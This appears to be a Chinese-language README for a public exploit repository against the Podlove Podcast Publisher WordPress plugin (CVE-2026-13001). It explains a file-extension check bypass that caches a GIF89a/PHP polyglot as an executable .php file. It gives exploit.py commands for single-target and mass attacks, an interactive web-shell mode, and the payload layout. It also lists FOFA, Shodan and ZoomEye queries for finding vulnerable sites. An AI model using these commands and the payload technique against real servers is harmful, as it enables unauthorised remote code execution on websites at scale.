// 调用方式：is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") 返回 "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) 返回 "gif"  <- 绕过！

// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php"  (查询字符串被移除！)
// pathinfo("/payload.php", PATHINFO_EXTENSION) 返回 "php"

1. 攻击者在 attacker.com/payload.php 上托管 GIF89a PHP 多语言文件
   （文件以 GIF89a 头部开头但包含 PHP 代码）

2. 利用操作：在 URL 后追加 ?.gif：payload.php?.gif
   然后对完整的URL进行十六进制编码

3. 触发缓存下载：
   GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test

4. 插件处理：
   a. 从攻击者URL下载文件
   b. is_image() 检查内容：检测到 GIF89a 头部 - 通过
   c. is_image() 检查扩展名：basename 看到 "gif" - 通过
   d. extract_file_extension() 使用 parse_url 路径：得到 "php"
   e. 文件保存为：test_original.php

5. 文件位置：
   /wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php

6. 攻击者访问文件并传入参数 -> 实现 RCE

git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test -v

python3 exploit.py -f targets.txt \
  -s https://yourserver.com/shell_polyglot.gif.php \
  -o vuln.txt -t 15 -v

python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php

python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test --debug

-u, --url          单个目标 URL
-f, --file         包含目标 URL 的文件（每行一个）
-s, --shell        托管 GIF89a PHP 多语言文件的 URL
--filename         缓存文件的自定义文件名（默认：shell）
--shell-url        交互模式的直接 URL
-o, --output       输出易受攻击目标文件（批量模式）
-t, --threads      线程数（默认：10）
-v, --verbose      详细输出
--debug            调试输出（显示所有 HTTP 请求）
--no-payload-test  跳过载荷可访问性测试

GIF89a        <- 有效的 GIF 头部（通过 exif_imagetype 检查）
/*            <- 注释开始（GIF 二进制数据在 PHP 中被注释掉）

<?php         <- PHP 代码从这里开始
// ... 代码 ...
?>

# FOFA
body="podlove-podcasting-plugin-for-wordpress"

# Shodan
http.html:"podlove"

# ZoomEye
app:"Podlove Podcast Publisher"